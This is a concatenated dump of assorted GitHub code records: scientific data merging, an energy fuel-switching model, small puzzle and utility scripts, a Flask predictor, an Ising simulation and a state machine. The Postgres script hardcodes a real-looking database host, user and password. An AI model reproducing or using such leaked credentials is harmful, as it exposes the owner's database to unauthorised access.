index_list.append(i)\nindex_list.append(\"Gene_log2FoldChange\")\nindex_list.append(\"Gene_pvalue\")\nindex_list.append(\"Gene_padj\")\nindex_list.append(\"TE_log2FoldChange\")\nindex_list.append(\"TE_pvalue\")\nindex_list.append(\"TE_padj\")\n\n\nwant_data=[]\nfor i in range(len(read_pd)):\n col=read_pd.iloc[i]\n Gene=col.Gene_id\n TE=col.TE_name\n Gene_col=gene_lfc_data[gene_lfc_data.Name==Gene]\n TE_col=TE_lfc_data[TE_lfc_data.Name==TE]\n if(len(Gene_col)==0 or len(TE_col)==0):\n continue\n Gene_col=Gene_col.iloc[0]\n TE_col=TE_col.iloc[0]\n input_line=[]\n for j in col:\n input_line.append(j)\n \n input_line.append(Gene_col.log2FoldChange)\n input_line.append(Gene_col.pvalue)\n input_line.append(Gene_col.padj)\n input_line.append(TE_col.log2foldchange)\n input_line.append(TE_col.pvalue)\n input_line.append(TE_col.padj)\n want_data.append(input_line)\n\nwant_data_pd=pd.DataFrame(want_data,columns=index_list)\nwant_data_pd.to_csv(write_name,sep=\"\\t\",index=False)\n\n","repo_name":"HNOthree/my_directory","sub_path":"Study_abroad/Fullset/step1/gene_vs_TE_lfc/merge_data_lfc_connect.py","file_name":"merge_data_lfc_connect.py","file_ext":"py","file_size_in_byte":1370,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"22"} +{"seq_id":"21914822377","text":"# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Mon Apr 23 13:00:05 2018\n\n@author: cmcmilla\n\"\"\"\nimport pandas as pd\nimport numpy as np\n\n\ndef switch_fuels(initial_stock, new_stock, county_enduse, fuel_types, change_2050,\n ind=None, enduses=None, temp_band=None):\n \"\"\"\n Method for estimating impacts of switching from fossil fuels to\n electricity. Fuel switching affects new stock (i.e., post-2014 stock) only.\n Fuel switching is based on user-defined industries (ind: specified either\n as AEO industry or 4-digit NAICS code), end uses (enduses:\n 'Conventional Boiler', 'CHP and/or Cogeneration', 'Process Heating',\n 'Process Cooling', 'Machine Drive', 'Electro-chemical', 'Other'), and/or\n temperature range (temp_band: <100, 100-249, 250-499, 500-999, >1000).\n Method modifies new stock by fuel type and returns a dictionary of\n modified dataframes.\n \"\"\"\n change_2050 = change_2050/100\n\n ffuels = list(fuel_types)\n\n if 'Total_energy_use' in ffuels:\n ffuels.remove('Total_energy_use')\n\n else:\n pass\n\n years = new_stock[list(new_stock.keys())[0]].columns.values\n\n switch = pd.DataFrame({'switch': False},\n index=new_stock['Total_energy_use'].index).reset_index()\n\n switch.loc[:, 'NAICS_4'] = county_enduse.reset_index()['naics'].apply(\n lambda x: int(str(x)[0:4])\n )\n\n def temp_select(temp_band, new_stock):\n\n temp_switch = np.where(new_stock[temp_band[0]][2014] > 0, True, False)\n\n if len(temp_band) > 0: \n\n for t in range(0, len(temp_band)):\n\n temp_switch = np.add(\n temp_switch,\n np.where(new_stock[temp_band[t]][2014] > 0, True, False)\n )\n\n return temp_switch\n\n if ind is None:\n\n if temp_band is None:\n\n if enduses is None:\n\n pass\n\n else:\n\n for eu in enduses:\n\n switch.loc[\n switch.groupby('ST_enduse').get_group(eu).index,\n 'switch'\n ] = True\n\n else:\n\n temp_switch = temp_select(temp_band, new_stock)\n\n else:\n\n if temp_band is None:\n\n if enduses is None:\n\n pass\n\n else:\n\n for eu in enduses:\n\n switch.loc[\n switch.groupby('ST_enduse').get_group(eu).index,\n 'switch'\n ] = True\n\n else:\n\n temp_switch = temp_select(temp_band, new_stock)\n\n ind = pd.Series(ind) \n\n for i in ind:\n\n if type(i) == np.int:\n \n switch.loc[\n switch.groupby('NAICS_4').get_group(i).index,\n 'switch'\n ] = True\n\n # This should be built out for resetting index with 4-digit NAICS\n if type(i) == np.str:\n\n if i == 'All':\n\n switch.loc[:, 'switch'] = True\n\n else:\n \n switch.loc[\n switch.groupby('AEO_industry').get_group(i).index,\n 'switch'\n ] = True\n\n if temp_band is not None:\n\n switch.loc[:, 'switch'] = switch.switch.multiply(temp_switch)\n\n else:\n pass\n\n switch.set_index(['region', 'AEO_industry', 'ST_enduse'], inplace=True)\n\n ff_change = pd.DataFrame(\n np.linspace(0, change_2050,\n len(range(years[0], years[-1]+1))),\n index=range(years[0], years[-1]+1)).T\n\n # The fraction of new stock that is new additions (i.e., replacement stock)\n addition_fraction = \\\n initial_stock['new_additions'].divide(initial_stock['new'])\n\n ff_addition_fraction = addition_fraction.iloc[:, 2:].copy()\n\n ff_addition_fraction.loc[:, :] = \\\n np.multiply(addition_fraction.iloc[:, 2:].values,\n ff_change.values)\n\n # The fraction of new stock that is fuel switched from fossil to electric.\n ff_switch_fraction = initial_stock['new'].multiply(\n ff_addition_fraction\n ).cumsum(axis=1).divide(initial_stock['new'])\n\n def merge_switch(df, switch_df, years):\n \"\"\"\n Use merge operation to eep only region, AEO_industry, and \n ST_enduse values that have been selected for electrification.\n \"\"\"\n merged = \\\n pd.merge(df[years],switch[switch.switch == True],\n left_index=True, right_index=True, how='inner')\n\n merged.drop(['switch', 'NAICS_4'], axis=1, inplace=True)\n\n return merged\n\n ff_switch_fraction = merge_switch(ff_switch_fraction, switch, years)\n\n elect_stock_adj_new = merge_switch(new_stock['Net_electricity'], switch, years)\n\n for ff in ffuels:\n\n stock_adj_new = merge_switch(new_stock[ff], switch, years)\n\n if ff == 'Net_electricity':\n\n continue\n\n else:\n\n change = stock_adj_new.multiply(\n ff_switch_fraction[years], fill_value=0\n )\n\n new_stock[ff].sort_index(inplace=True)\n\n new_stock[ff].update(stock_adj_new.subtract(change, \n fill_value=0))\n\n elect_stock_adj_new = \\\n elect_stock_adj_new.add(change,\n fill_value=0)\n\n new_stock['Net_electricity'].update(elect_stock_adj_new)\n\n return new_stock\n","repo_name":"NREL/Industry-Energy-Tool","sub_path":"fuel_switching.py","file_name":"fuel_switching.py","file_ext":"py","file_size_in_byte":5527,"program_lang":"python","lang":"en","doc_type":"code","stars":14,"dataset":"github-code","pt":"22"} +{"seq_id":"74820662135","text":"convBinaire = int(input(\"Entrer le nombre à convertir : \"))\nresultat = \"\"\n\nwhile(convBinaire != 0):\n reste = int(convBinaire%2)\n convBinaire = (convBinaire//2)\n\n resultat = str(reste) + resultat\n\nprint(\"Le chiffre en binaire est : \" +resultat)","repo_name":"Nol-Duflos/conversion-binaire","sub_path":"demo/demo-conv.py","file_name":"demo-conv.py","file_ext":"py","file_size_in_byte":253,"program_lang":"python","lang":"fr","doc_type":"code","stars":0,"dataset":"github-code","pt":"22"} +{"seq_id":"16675407333","text":"data = open('18.txt').read().splitlines()\n\ndef calculatePart1(line: str):\n line = line.split(\" \")\n answer = int(line[0])\n for i in list(range(1, len(line)))[::2]:\n val = int(line[i + 1])\n if line[i] == '+':\n answer += val\n if line[i] == '*':\n answer *= val\n i += 1\n return answer\n\ndef calculatePart2(line: str):\n for op in [\"+\", \"*\"]:\n while op in line:\n lineArr = line.split(\" \")\n for i in range(len(lineArr)):\n if lineArr[i] == op:\n if op == \"+\":\n calculated = int(lineArr[i-1]) + int(lineArr[i+1])\n else:\n calculated = int(lineArr[i-1]) * int(lineArr[i+1])\n line = line.replace(f\"{lineArr[i-1]} {op} {lineArr[i+1]}\", str(calculated), 1)\n break\n return line\n\ndef splitParenPart1(line):\n string = \"\"\n firstParen = line.find(\"(\") + 1\n for char in line[firstParen:]:\n if char == \"(\":\n string = \"\"\n continue\n if char == \")\":\n line = line.replace(\"(\" + string + \")\", str(calculatePart1(string)))\n return line\n string += char\n\ndef splitParenPart2(line):\n p = 0\n string = \"\"\n firstParen = line.find(\"(\") + 1\n for char in line[firstParen:]:\n if char == \"(\":\n string = \"\"\n continue\n if char == \")\":\n line = line.replace(\"(\" + string + \")\", str(calculatePart2(string)), 1)\n return line\n string += char\n\nanswer1 = 0\nfor line in data:\n while \"(\" in line:\n line = splitParenPart1(line)\n answer1 += calculatePart1(line)\n\nanswer2 = 0\nfor line in data:\n while \"(\" in line:\n line = splitParenPart2(line)\n\n # calculate each parenthesis until there are no more left\n while \"(\" in line:\n line = splitParenPart2(line)\n\n # calculate the last one\n ans = calculatePart2(line)\n answer2 += int(ans)\n\nprint(f\"PART 1 {answer1}\")\nprint(f\"PART 1 {answer2}\")","repo_name":"Hollings/advent-of-code-2020","sub_path":"18.py","file_name":"18.py","file_ext":"py","file_size_in_byte":2059,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"22"} +{"seq_id":"29191057267","text":"import random\nimport warnings\nimport json\n\nimport torch\nfrom torchtext import data\nfrom torchtext import datasets\n\nSEED = 1234\nwarnings.filterwarnings(\"ignore\", category=UserWarning)\ntorch.manual_seed(SEED)\ntorch.backends.cudnn.deterministic = True\nTEXT = data.Field(tokenize = 'spacy', batch_first=True, include_lengths = True)\nLABEL = data.LabelField(dtype = torch.float, batch_first=True)\n\ndef data_loaders(batch, device, embedding=True):\n MAX_VOCAB_SIZE = 25000\n BATCH_SIZE = batch\n \n train_data, test_data = datasets.IMDB.splits(TEXT, LABEL)\n train_data, valid_data = train_data.split(random_state = random.seed(SEED))\n if embedding:\n TEXT.build_vocab(train_data, \n max_size = MAX_VOCAB_SIZE, \n vectors = \"glove.6B.100d\", \n unk_init = torch.Tensor.normal_)\n else:\n TEXT.build_vocab(train_data, \n max_size = MAX_VOCAB_SIZE)\n\n LABEL.build_vocab(train_data)\n with open('vocab.json', 'w+') as fp:\n json.dump(TEXT.vocab.stoi, fp)\n train_iterator, valid_iterator, test_iterator = data.BucketIterator.splits(\n (train_data, valid_data, test_data), \n batch_size = BATCH_SIZE,\n device = device,\n sort_within_batch=False,\n shuffle = False)\n \n return (train_iterator, valid_iterator, test_iterator)\n\ndef get_vocab():\n return TEXT\n\n# if __name__ == \"__main__\":\n# a,b,c = data_loaders(64, embedding=False)","repo_name":"Lakshmi-bashyam/Text_perturbation_attack","sub_path":"data/dataset.py","file_name":"dataset.py","file_ext":"py","file_size_in_byte":1487,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"22"} +{"seq_id":"22261439726","text":"import requests\n\nurl = \"https://pokeapi.co/api/v2/ability/battle-armor\"\nd = requests.get(url).json()\n\nhabilidades = d['effect_entries']\n\n\"\"\" print(d) \"\"\"\n\nfor x in habilidades:\n if x['language']['name'] =='en':\n print(x['short_effect'])\n\n\nfor x in d['pokemon']:\n print(x['pokemon']['name'])\n","repo_name":"thiagosilva89/00---Fatec","sub_path":"3Semestre/Algoritimos/01_RevisaoDicionario/2battle.py","file_name":"2battle.py","file_ext":"py","file_size_in_byte":304,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"22"} +{"seq_id":"29169572236","text":"'''\nModule with functions used to covert dates.\n'''\nfrom time import strptime\n\nimport datetime\n\n\ndef get_month(month, year):\n '''\n Function to pull the month from a formatted date field\n :param month: formatted date\n :param year: full year string\n :return: month of formatted date\n '''\n if int(year) == 1900:\n return ''\n elif int(year) <= 2000:\n return strptime(month, '%b-%y').tm_mon\n else:\n return strptime(month, '%d-%b').tm_mon\n\n\ndef get_date_joined(year, intro):\n '''\n Function to pull the month and year, using get_month function\n :param year: full date string\n :param intro: formatted date\n :return: year and month\n '''\n y = int(year)\n m = get_month(intro, year)\n return str(datetime.date(y, m, 1))\n","repo_name":"DemondLove/FiveThirtyEight-Avengers-Project-Dataset","sub_path":"src/msds510/utils/date.py","file_name":"date.py","file_ext":"py","file_size_in_byte":781,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"22"} +{"seq_id":"4620554220","text":"import psycopg2\nimport urllib.parse as urlparse\nimport os\nimport pandas as pd\nimport sys\nimport streamlit as st\n\ndbname = \"dbbsa7ga8r2kiv\"\nuser = \"osksxcygvoyyll\"\npassword = \"11c1a3de0735f724773ef130a106766cfb15d6a2b5cbb5c8898012cae47ec287\"\nhost = \"ec2-44-196-223-128.compute-1.amazonaws.com\"\nport = \"5432\"\n\n\ndef DBConnect():\n con = psycopg2.connect(\n dbname=dbname, user=user, password=password, host=host, port=port\n)\n cur = con.cursor()\n \n return con,cur\n\n\n\ndef createTables(dbName: str) -> None:\n conn, cur = DBConnect(dbName)\n cur.execute(\n \"CREATE TABLE TELEUSER (id SERIAL PRIMARY KEY,user_id VARCHAR ,engagement_score VARCHAR, experience_score VARCHAR, satisfaction_score VARCHAR);\"\n)\n conn.commit()\n cur.close()\n\n\ndef insert_to_table(dbName: str, df: pd.DataFrame, table_name: str) -> None:\n\n conn, cur = DBConnect(dbName)\n for _, row in df.iterrows():\n\n sqlQuery = f\"\"\"INSERT INTO {table_name} (user_id, engagement_score, experience_score, satisfaction_score )\n VALUES(%s, %s, %s, %s);\"\"\"\n data = (\n row[0],\n row[1],\n row[2],\n row[3]\n )\n\n try:\n cur.execute(sqlQuery, data)\n conn.commit()\n print(\"Data Inserted Successfully\")\n except Exception as e:\n conn.rollback()\n print(\"Error: \", e)\n return\n\n\ndef db_execute_fetch(\n *args, many=False, tablename=\"\", rdf=True, **kwargs\n) -> pd.DataFrame:\n connection, cursor1 = DBConnect(**kwargs)\n if many:\n cursor1.executemany(*args)\n else:\n cursor1.execute(*args)\n field_names = [i[0] for i in cursor1.description]\n res = cursor1.fetchall()\n nrow = cursor1.rowcount\n if tablename:\n print(f\"{nrow} recrods fetched from {tablename} table\")\n cursor1.close()\n connection.close()\n if rdf:\n return pd.DataFrame(res, columns=field_names)\n else:\n return res\n\n\nif __name__ == \"__main__\":\n createTables(dbName=\"tweet_db\")\n df = pd.read_csv(\"../data/score_table.csv\")\n df.info()\n insert_to_table(dbName=dbname, df=df, table_name=\"TELEUSER\")\n","repo_name":"abeselomg/Telecom_user_analysis","sub_path":"scripts/db_script.py","file_name":"db_script.py","file_ext":"py","file_size_in_byte":2147,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"22"} +{"seq_id":"24476041495","text":"#!/bin/python3\n\nimport math\nimport os\nimport random\nimport re\nimport sys\n\n# Complete the solve function below.\ndef solve(s):\n lst = s.split(\" \")\n f_name = lst[0]\n \n l_name = lst[1]\n l1 = list(f_name)\n print(l1[0])\n l1[0] = l1[0].upper()\n print(l1[0])\n # print(l1)\n f_name = \"\"\n f_name= f_name.join(str(x) for x in l1)\n l2 = list(l_name)\n l2[0]=l2[0].upper()\n l_name = \"\"\n l_name = l_name.join(l2)\n lst[0] = f_name\n lst[1] = l_name \n # for i in range(0,len(lst)):\n # l1 = lst[i].split()\n # l1[0]=l1[0].upper()\n # st = \"\".join(l1)\n # lst[i]=st\n\n s = \" \".join(lst)\n print(s)\n\n # return \" \".join(list(map(str.capitalize, s.split(\" \"))))\n\nif __name__ == '__main__':\n # fptr = open(os.environ['OUTPUT_PATH'], 'w')\n\n s = input()\n\n result = solve(s)\n\n # fptr.write(result + '\\n')\n\n # fptr.close()\n","repo_name":"sabdulrehman68/logic_tuts","sub_path":"capitalize.py","file_name":"capitalize.py","file_ext":"py","file_size_in_byte":895,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"22"} +{"seq_id":"28961567895","text":"import openpyxl\nimport csv\nimport json\n\ndef work ():\n res=[]\n f = csv.reader(open('fullevents.csv', 'r'))\n for i in f:\n if i[1]=='Huskies':\n res.append({'MatchID':i[0],'OriginPlayerID':i[2],'type':i[6]})\n print(res)\n with open( \"../足球场/data/哈士奇比赛事件.txt\", \"w\", encoding=\"utf-8\")as f:\n for each in json.dumps(res):\n f.write(each)\nif __name__ == '__main__':\n work()","repo_name":"jiajiayao/MathLab_Script_Demo","sub_path":"2020comap/csv处理/处理events.py","file_name":"处理events.py","file_ext":"py","file_size_in_byte":440,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"22"} +{"seq_id":"501809231","text":"from flask import Flask, render_template\nfrom leapcell import Leapcell\nimport os\n\napi = Leapcell(\n os.environ.get(\"LEAPCELL_API_KEY\"),\n)\n\ntable = api.table(\"salamer/myblog\", \"tbl1707363939983331328\", name_type=\"name\")\n\n\napp = Flask(__name__)\n\n@app.route(\"/\")\ndef hello_world():\n records = table.select().query()\n return render_template('index.html', title='Welcome', products=records)\n\n@app.route(\"/product/\")\ndef product(id):\n item = table.get_by_id(id)\n return render_template('item.html', title='Welcome', product=item)\n\nif __name__ == '__main__':\n app.run(debug=False, port=8000)","repo_name":"salamer/tiny-ecom-py","sub_path":"app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":605,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"22"} +{"seq_id":"13454879977","text":"import random\n\nsciezka = \"Warhammer/cechy_glowne.txt\"\n\n\ndef losowa_2k10():\n return random.randrange(18)+2\n\n\ndef losowa_k10():\n return random.randrange(9)+1\n\ndef cechy_glowne():\n\n slownik_cech_glownych = {\"Walka wręcz: \": 0, \"Umiejętności Strzeleckie: \": 0,\n \"Krzepa: \": 0, \"Odporność: \": 0, \"Zręczność: \": 0,\n \"Siła woli: \": 0, \"Inteligencja: \": 0, \"Ogłada: \": 0}\n for item in slownik_cech_glownych:\n slownik_cech_glownych[item] = losowa_2k10()\n return slownik_cech_glownych\n\n\ndef cechy_drugorzedne():\n\n slownik_cech_drugorzednych = {\"Atak: \": 0, \"Żywotność: \": 0,\n \"Siła: \": 0, \"Wytrzymałość: \": 0, \"Szybkość: \": 0,\n \"Magia: \": 0, \"Punkty Obłędu: \": 0, \"Punkty Przeznaczenia: \": 0}\n for item in slownik_cech_drugorzednych:\n slownik_cech_drugorzednych[item] = losowa_2k10()\n return slownik_cech_drugorzednych\n\ndef zapisanie_do_pliku():\n with open(sciezka, 'w+') as plik:\n for item, value in cechy_glowne().items():\n plik.writelines(f\"{item} {value} \\n\")\n plik.writelines(30*\"=\" + \"\\n\")\n for item, value in cechy_drugorzedne().items():\n plik.writelines(f\"{item} {value} \\n\")\n\n print(plik.read)\n\n\ndef otwieranie_pliku():\n with open(sciezka, 'r') as plik:\n print((plik.read()))\n\nzapisanie_do_pliku()","repo_name":"RomanGlegola/PythonExercises","sub_path":"Moj_własna_ biblioteka/Warhammer/Warhammer.py","file_name":"Warhammer.py","file_ext":"py","file_size_in_byte":1440,"program_lang":"python","lang":"pl","doc_type":"code","stars":0,"dataset":"github-code","pt":"22"} +{"seq_id":"70538895097","text":"\"\"\"\nFor an array, we can build a SegmentTree for it, each node stores an extra attribute count to denote the number of elements in the the array which value is between interval start and end. (The array may not fully filled by elements)\n\nDesign a query method with three parameters root, start and end, find the number of elements in the in array's interval [start, end] by the given root of value SegmentTree.\n\nFor array [0, 2, 3], the corresponding value Segment Tree is:\n\n [0, 3, count=3]\n / \\\n [0,1,count=1] [2,3,count=2]\n / \\ / \\\n [0,0,count=1] [1,1,count=0] [2,2,count=1], [3,3,count=1]\nquery(1, 1), return 0\n\nquery(1, 2), return 1\n\nquery(2, 3), return 2\n\nquery(0, 2), return 2\n\"\"\"\n\n\"\"\"\nDefinition of SegmentTreeNode:\nclass SegmentTreeNode:\n def __init__(self, start, end, count):\n self.start, self.end, self.count = start, end, count\n self.left, self.right = None, None\n\"\"\"\n\nclass Solution:\t\n # @param root, start, end: The root of segment tree and \n # an segment / interval\n # @return: The count number in the interval [start, end] \n def query(self, root, start, end):\n # write your code here\n if start > end or not root:\n return 0\n if start <= root.start and root.end <= end:\n return root.count\n mid = root.start + (root.end - root.start) / 2\n left_count, right_count = 0, 0\n if start <= mid:\n if mid < end:\n left_count = self.query(root.left, start, mid)\n else:\n left_count = self.query(root.left, start, end)\n if mid < end:\n if start <= mid:\n right_count = self.query(root.right, mid + 1, end)\n else:\n right_count = self.query(root.right, start, end)\n return left_count + right_count\n\nclass Solution2: \n\n def query(self, root, start, end):\n # write your code here\n if not root:\n return 0\n if start <= root.start and end >= root.end:\n return root.count\n mid = root.start + (root.end - root.start) / 2\n if mid >= end:\n return self.query(root.left, start, end)\n elif mid + 1 <= start:\n return self.query(root.right, start, end)\n else:\n return self.query(root.left, start, mid) + self.query(root.right, mid + 1, end)\n","repo_name":"AnthonyNeu/LintCode","sub_path":"Python/Segment Tree Query II.py","file_name":"Segment Tree Query II.py","file_ext":"py","file_size_in_byte":2484,"program_lang":"python","lang":"en","doc_type":"code","stars":14,"dataset":"github-code","pt":"22"} +{"seq_id":"74670275896","text":"import numpy as np\n\nn_states = 2\ndef initialize(N):\n grid = 2*np.random.randint(n_states, size=(N,N))-1\n return grid\n\ndef pm_equal(x, y):\n return((x == y) * 2 - 1)\n\ndef runIter(grid, beta):\n N = grid.shape[0]\n for x in range(N):\n for y in range(N):\n # current point s\n s = grid[x, y]\n new_state = 2*np.random.randint(n_states)-1\n # current energy state\n H = 0\n H -= pm_equal(s, grid[(x+1)%N, y])\n H -= pm_equal(s, grid[x, (y+1)%N])\n H -= pm_equal(s, grid[(x-1)%N, y])\n H -= pm_equal(s, grid[x, (y-1)%N]) \n # Check later\n # new energy state\n altH = 0\n altH -= pm_equal(new_state, grid[(x+1)%N, y])\n altH -= pm_equal(new_state, grid[x, (y+1)%N])\n altH -= pm_equal(new_state, grid[(x-1)%N, y])\n altH -= pm_equal(new_state, grid[x, (y-1)%N]) \n #Compute dE: (H = - \\sum_{} S_i S_j )\n dE = altH - H\n if dE < 0:\n s = new_state\n elif np.random.rand() < np.exp(-beta * dE): #high energy --> maybe flip?\n s = new_state\n grid[x, y] = s\n return grid\n\n# # test functionality\n# N = 30\n# grid = initialize(N)\n# for i in range(500):\n# grid = runIter(grid, 0.1)\n# \n# # Visualization\n# import matplotlib.pyplot as plt \n# plt.figure()\n# X, Y = np.meshgrid(range(N), range(N))\n# plt.pcolormesh(X, Y, grid)\n# plt.show()\n","repo_name":"maierhofert/2DPottsModel","sub_path":"ising.py","file_name":"ising.py","file_ext":"py","file_size_in_byte":1493,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"22"} +{"seq_id":"32873002830","text":"from datetime import date\nfrom pyexpat import model\nfrom flask import Flask,url_for,render_template,request,url_for,redirect,flash,send_from_directory\nfrom werkzeug.utils import secure_filename\nimport pandas as pd\nfrom sklearn.model_selection import train_test_split # Import train_test_split function\n# import pickle\nimport openpyxl\nfrom sklearn.datasets import load_iris\nfrom sklearn.metrics import accuracy_score\nimport numpy\nimport datetime\nimport os\n# import Orange\n# import PyQt5.QtCore, PyQt5.QtGui, PyQt5.QtWidgets\n\napp = Flask(__name__,template_folder='./templates',static_folder='./static')\n\n\n@app.route('/favicon.ico')\ndef favicon():\n return send_from_directory(os.path.join(app.root_path, 'static'),\n 'favicon.ico', mimetype='images/favicon.png')\n\n# @app.route('youtest1.herokuapp.com', methods=['GET', 'POST'])\n@app.route('/', methods=['GET', 'POST'])\ndef details_processing():\n arr=[]\n if request.method == 'POST':\n artist_Year = request.form.get('artist_Year')\n if artist_Year=='on':\n arr.append(1)\n else:\n arr.append(0)\n song_Year = request.form.get('song_Year')\n if song_Year=='on':\n arr.append(1)\n else:\n arr.append(0)\n seniority = request.form.get('seniority')\n arr.append(int(seniority))\n date_song = request.form.get('data')\n date=datetime.datetime.strptime(date_song, '%Y-%m-%d')\n arr.append(int(date.year))\n\n style = request.form.get('style')\n arr_style=[0,0,0,0,0,0]\n if style=='pop':\n arr_style[0]=1\n elif style=='dance':\n arr_style[1]=1\n elif style=='rap':\n arr_style[2]=1\n elif style=='middlee':\n arr_style[3]=1\n elif style=='balada':\n arr_style[4]=1\n elif style=='latin':\n arr_style[5]=1\n arr+=arr_style\n\n language_heb = request.form.get('language_heb')\n if language_heb=='on':\n arr.append(1)\n else:\n arr.append(0)\n duration = request.form.get('duration')\n arr.append(int(duration))\n\n author = request.form.get('author') #כותב\n arr_author=[0,0,0,0,0,0,0,0]\n if author=='staticbenal':\n arr_author[0]=1\n elif author=='stavbeger':\n arr_author[1]=1\n elif author=='tamardyonatank':\n arr_author[2]=1\n elif author=='aviohion':\n arr_author[3]=1\n elif author=='dolevrpenh':\n arr_author[4]=1\n elif author=='edenhason':\n arr_author[5]=1\n elif author=='dodornmadali':\n arr_author[6]=1\n elif author=='gil':\n arr_author[7]=1\n arr+=arr_author\n\n composer = request.form.get('composer') #מלחין\n arr_composer=[0,0,0,0,0,0,0,0]\n if composer=='staticbenal':\n arr_composer[0]=1\n elif composer=='stavbeger':\n arr_composer[1]=1\n elif composer=='tamardyonatank':\n arr_composer[2]=1\n elif composer=='aviohion':\n arr_composer[3]=1\n elif composer=='dolevrpenh':\n arr_composer[4]=1\n elif composer=='edenhason':\n arr_composer[5]=1\n elif composer=='dodornmadali':\n arr_composer[6]=1\n elif composer=='gil':\n arr_composer[7]=1\n arr+=arr_composer\n\n producer = request.form.get('producer') #מפיק\n arr_producer=[0,0,0,0]\n if producer=='stavbeger':\n arr_producer[0]=1\n elif producer=='yardenj':\n arr_producer[1]=1\n elif producer=='yakovlimai':\n arr_producer[2]=1\n elif producer=='yanonyahal':\n arr_producer[3]=1\n arr+=arr_producer\n\n records = request.form.get('records') #תקליטים\n arr_records=[0,0,0,0,0]\n if records=='NMC':\n arr_records[0]=1\n elif records=='tedi':\n arr_records[1]=1\n elif records=='liam':\n arr_records[2]=1\n elif records=='unicel':\n arr_records[3]=1\n elif records=='Mobile1music':\n arr_records[4]=1\n arr+=arr_records\n\n word_y = request.form.get('word_y')\n if word_y=='on':\n arr.append(1)\n else:\n arr.append(0)\n video = request.form.get('video')\n if video=='on':\n arr.append(1)\n else:\n arr.append(0)\n \n add_row(arr)\n arr_result=pick()\n res=int(arr_result[0][0])\n if res==1:\n str_res='לצערנו השיר שלך לא יצליח, אולי בפעם הבאה...'\n if res==0:\n str_res='! השיר שלך יהיה הצלחה'\n return render_template(\"total.html\",result=str_res) \n \n return render_template(\"hello.html\", name=None) \n\n\nif __name__ == \"__main__\":\n app.run()\n\ndef add_row(arr):\n\n filename = './FINAL.xlsx'\n wb = openpyxl.load_workbook(filename=filename)\n sheet = wb['Sheet1']\n sheet.append(arr)\n wb.save(filename)\n\ndef pick():\n \n database = pd.read_excel('./FINAL.xlsx', dtype=float).to_numpy()\n file=open('./random_forest.pkcls', \"rb\")\n pkl = pd.read_pickle(file)\n\n dict_bin_a={0:[0,0],1:[1,0]}\n arr=[]\n for x in range(len(database[-1])):\n if x==2 or x==3 or x==11:\n arr.append(database[-1][x])\n elif x==2:\n arr.append(0)\n else:\n arr+=dict_bin_a.get(database[-1][x])\n row= numpy.array(arr)\n res=pkl.predict(row.reshape(1,-1))\n return res","repo_name":"nofarga/youtest","sub_path":"master/app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":5625,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"22"} +{"seq_id":"26330140135","text":"def merge_sort_str(array, start=0, end=None):\n if end is None:\n end = len(array)\n if end - start > 1:\n mid = (end + start) // 2\n merge_sort_str(array, start, mid)\n merge_sort_str(array, mid, end)\n merge(array, start, mid, end)\n\n\ndef merge(array, start, mid, end):\n left = array[start:mid]\n right = array[mid:end]\n\n left_index, right_index = 0, 0\n\n for index in range(start, end):\n if left_index >= len(left):\n array[index] = right[right_index]\n right_index += 1\n elif right_index >= len(right):\n array[index] = left[left_index]\n left_index += 1\n elif left[left_index] < right[right_index]:\n array[index] = left[left_index]\n left_index += 1\n else:\n array[index] = right[right_index]\n right_index += 1\n\n\ndef is_anagram(first_string, second_string):\n is_equal = False\n if not isinstance(first_string, str) or not isinstance(second_string, str):\n return first_string, second_string, is_equal\n\n first_string = list(first_string.lower())\n second_string = list(second_string.lower())\n\n merge_sort_str(first_string)\n merge_sort_str(second_string)\n first_string = \"\".join(first_string)\n second_string = \"\".join(second_string)\n if first_string != \"\" and second_string != \"\":\n is_equal = first_string == second_string\n\n return first_string, second_string, is_equal\n\n\nif __name__ == \"__main__\":\n print(is_anagram(\"\", \"\"))\n","repo_name":"GabrielSilper/python-project-algorithms","sub_path":"challenges/challenge_anagrams.py","file_name":"challenge_anagrams.py","file_ext":"py","file_size_in_byte":1526,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"22"} +{"seq_id":"36607258060","text":"\nimport time\nfrom typing import Callable\nfrom Condition import Condition, StateEntryDurationCondition, StateEntryCountCondition, AnyCondition, AlwaysTrueCondition\nfrom finite_state_machine import FiniteStateMachine\nfrom state import MonitoredState, State\nfrom transition import ConditionalTransition, MonitoredTransition, Transition\nfrom assembling_functions import assemble_state_transitions_and_timed_conditions\n\n\nclass Blinker(FiniteStateMachine):\n \n StateGenerator = Callable[[], MonitoredState]\n \n def __init__(self, off_state_generator: StateGenerator, on_state_generator: StateGenerator):\n \n self.args_combinations = [\n {'end_off', 'total_duration', 'cycle_duration'},\n {'end_off', 'total_duration', 'n_cycles'},\n {'end_off', 'n_cycles', 'cycle_duration'}\n ]\n \n # self.off = assemble_state_transitions_and_conditions()\n # 1-Create states and their custom fields\n self.off = off_state_generator(self)\n self.off._FSM_BLINKER_ON_STATE = False\n \n \n self.on = on_state_generator(self)\n self.on._FSM_BLINKER_ON_STATE = True\n\n\n self.blink_on = on_state_generator(self)\n self.blink_on._FSM_BLINKER_ON_STATE = True\n\n\n self.blink_off = off_state_generator(self)\n self.blink_off._FSM_BLINKER_ON_STATE = False\n\n \n self.blink_begin = MonitoredState()\n self.blink_begin._FSM_BLINKER_ON_STATE = None\n \n self.blink_stop_begin = MonitoredState()\n self.blink_stop_begin._FSM_BLINKER_ON_STATE = None\n\n self.blink_stop_end = MonitoredState()\n self.blink_stop_end._FSM_BLINKER_ON_STATE = None\n \n self.off_duration = off_state_generator(self)\n self.off_duration._FSM_BLINKER_ON_STATE = False\n \n self.on_duration = on_state_generator(self)\n 